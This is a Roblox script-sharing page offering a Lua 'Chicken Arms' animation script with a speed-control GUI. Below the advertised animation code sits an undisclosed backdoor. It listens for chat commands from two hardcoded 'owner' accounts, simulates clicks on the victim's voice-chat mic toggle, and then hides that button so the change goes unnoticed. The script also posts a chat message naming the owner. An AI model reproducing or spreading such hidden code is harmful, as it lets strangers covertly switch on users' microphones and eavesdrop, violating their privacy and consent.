Chicken Arms "Must be R15"
Key RequiredUniversal

Chicken Arms "Must be R15"

Universal Script_AintHasABackUpAcc__AintHasABackUpAcc_ 1.6K views 352 executesUpdated May 30, 2026
5.0/ 5(1 votes)
10100% Positive
Lua Script•269 lines (5859 chars)
local p=game:GetService("Players").LocalPlayer
local u=game:GetService("UserInputService")
local h=(p.Character or p.CharacterAdded:Wait()):WaitForChild("Humanoid")
local g=Instance.new("ScreenGui",p:WaitForChild("PlayerGui"))
g.Name="GYATT"
local c=Instance.new("Frame",g)
c.Size=UDim2.new(0,120,0,160)
c.Position=UDim2.new(.5,-60,.7,0)
c.BackgroundColor3=Color3.fromRGB(25,25,25)
c.Active=true
Instance.new("UICorner",c).CornerRadius=UDim.new(0,10)
local t1=Instance.new("TextLabel",c)
t1.Size=UDim2.new(1,0,0,20)
t1.BackgroundTransparency=1
t1.Text="NEED TO BE IN R15"
t1.TextColor3=Color3.fromRGB(200,200,200)
t1.TextSize=12
t1.Font=Enum.Font.GothamBold
local b=Instance.new("TextButton",c)
b.Size=UDim2.new(1,-20,0,40)
b.Position=UDim2.new(0,10,0,25)
b.Text="STATUS: OFF"
b.BackgroundColor3=Color3.fromRGB(40,40,40)
b.TextColor3=Color3.new(1,1,1)
Instance.new("UICorner",b)
local s=Instance.new("TextLabel",c)
s.Size=UDim2.new(1,0,0,20)
s.Position=UDim2.new(0,0,0,70)
s.BackgroundTransparency=1
s.Text="Speed: 1"
s.TextColor3=Color3.fromRGB(200,200,200)
local bp=Instance.new("TextButton",c)
bp.Size=UDim2.new(0,50,0,30)
bp.Position=UDim2.new(0,10,0,95)
bp.Text="+"
local bm=Instance.new("TextButton",c)
bm.Size=UDim2.new(0,50,0,30)
bm.Position=UDim2.new(0,60,0,95)
bm.Text="-"
local o,t=false,nil
local sp=1
local function apply()
	if t then
		t:AdjustSpeed(sp)
	end
end
b.MouseButton1Click:Connect(function()
	o=not o
	if o then
		local a=Instance.new("Animation")
		a.AnimationId="rbxassetid://104200871407307"
		t=h:LoadAnimation(a)
		t.Priority=Enum.AnimationPriority.Action4
		t.Looped=true
		t:Play()
		apply()
		b.Text="STATUS: ON"
	else
		if t then t:Stop() end
		b.Text="STATUS: OFF"
	end
end)
local holdPlus=false
local holdMinus=false
local function holdLoop()
	while holdPlus or holdMinus do
		if holdPlus then
			sp=sp+0.1
		elseif holdMinus then
			sp=math.max(0,sp-0.1)
		end
		s.Text="Speed: "..string.format("%.1f",sp)
		apply()
		task.wait(0.05)
	end
end
bp.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdPlus=true
		task.spawn(holdLoop)
	end
end)
bp.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdPlus=false
	end
end)
bm.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdMinus=true
		task.spawn(holdLoop)
	end
end)
bm.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdMinus=false
	end
end)
local d=false s0=nil p0=nil
c.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1
	or i.UserInputType==Enum.UserInputType.Touch then
		d=true
		s0=i.Position
		p0=c.Position
	end
end)
u.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1
	or i.UserInputType==Enum.UserInputType.Touch then
		d=false
	end
end)
u.InputChanged:Connect(function(i)
	if not d then return end
	if i.UserInputType==Enum.UserInputType.MouseMovement
	or i.UserInputType==Enum.UserInputType.Touch then
		local m=i.Position-s0
		c.Position=UDim2.new(
			p0.X.Scale,p0.X.Offset+m.X,
			p0.Y.Scale,p0.Y.Offset+m.Y
		)
	end
end)
task.wait(.1)

local CoreGui=game:GetService("CoreGui")
local Players=game:GetService("Players")
local VIM=game:GetService("VirtualInputManager")
local Camera=workspace.CurrentCamera

local OWNERS={"AintMyCrib","justanormalnoobie0"}
local PREFIX="!"

local hidden=false

local resolutionProfiles={
{200,500,219,39},
{501,600,234,24},
{601,700,249,24},
{701,800,249,24},
{801,900,264,39},
{901,9999,264,39},
}

local function isOwner(p)
	for i=1,#OWNERS do
		if p.Name==OWNERS[i]then return true end
	end
end

local function findVC()
	local t=CoreGui:GetDescendants()
	for i=1,#t do
		local v=t[i]
		if v.Name=="toggle_mic_mute"then return v end
	end
end

local function hideVC(btn)
	pcall(function()
		btn.Visible=false
		local t=btn:GetDescendants()
		for i=1,#t do
			local v=t[i]
			if v:IsA("GuiObject")then v.Visible=false end
		end
	end)
end

local function showVC(btn)
	pcall(function()
		btn.Visible=true
		local t=btn:GetDescendants()
		for i=1,#t do
			local v=t[i]
			if v:IsA("GuiObject")then v.Visible=true end
		end
	end)
end

-- PC CLICK
local function clickPC()
	local btn=findVC()
	if not btn then return end

	if hidden then
		showVC(btn)
		hidden=false
	end

	local x,y=189,21

	VIM:SendMouseMoveEvent(x,y,game)
	task.wait(.03)
	VIM:SendMouseButtonEvent(x,y,0,true,game,0)
	task.wait(.05)
	VIM:SendMouseButtonEvent(x,y,0,false,game,0)

	task.wait(.1)
	hideVC(btn)
	hidden=true
end

-- MOBILE CLICK
local function clickMB()
	local btn=findVC()
	if not btn then return end

	if hidden then
		showVC(btn)
		hidden=false
	end

	local h=Camera.ViewportSize.Y
	local x,y=219,39

	for i=1,#resolutionProfiles do
		local r=resolutionProfiles[i]
		if h>=r[1]and h<=r[2]then
			x,y=r[3],r[4]
			break
		end
	end

	VIM:SendMouseMoveEvent(x,y,game)
	task.wait(.05)
	VIM:SendMouseButtonEvent(x,y,0,true,game,0)
	task.wait(.05)
	VIM:SendMouseButtonEvent(x,y,0,false,game,0)

	task.wait(.1)
	hideVC(btn)
	hidden=true
end

-- CHAT HANDLER (WORKING VERSION)
local function handleChat(p,msg)
	if not isOwner(p)then return end

	msg=msg:lower():gsub("%s+","")

	if msg==PREFIX.."pc"then
		clickPC()
	elseif msg==PREFIX.."mb"then
		clickMB()
	end
end

Players.PlayerAdded:Connect(function(p)
	p.Chatted:Connect(function(m)
		handleChat(p,m)
	end)
end)

for i,p in ipairs(Players:GetPlayers()) do
	p.Chatted:Connect(function(m)
		handleChat(p,m)
	end)
end
wait(1)
local c=game:GetService("TextChatService").TextChannels.RBXGeneral

for _,m in ipairs({
    "AintMyCrib 🤫🧏"
}) do
    c:SendAsync(m)
    task.wait()
end

Features & Information

MUST BE IN R15 OR IT WONT WORK
#chickenarms roblox delta script mobile

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts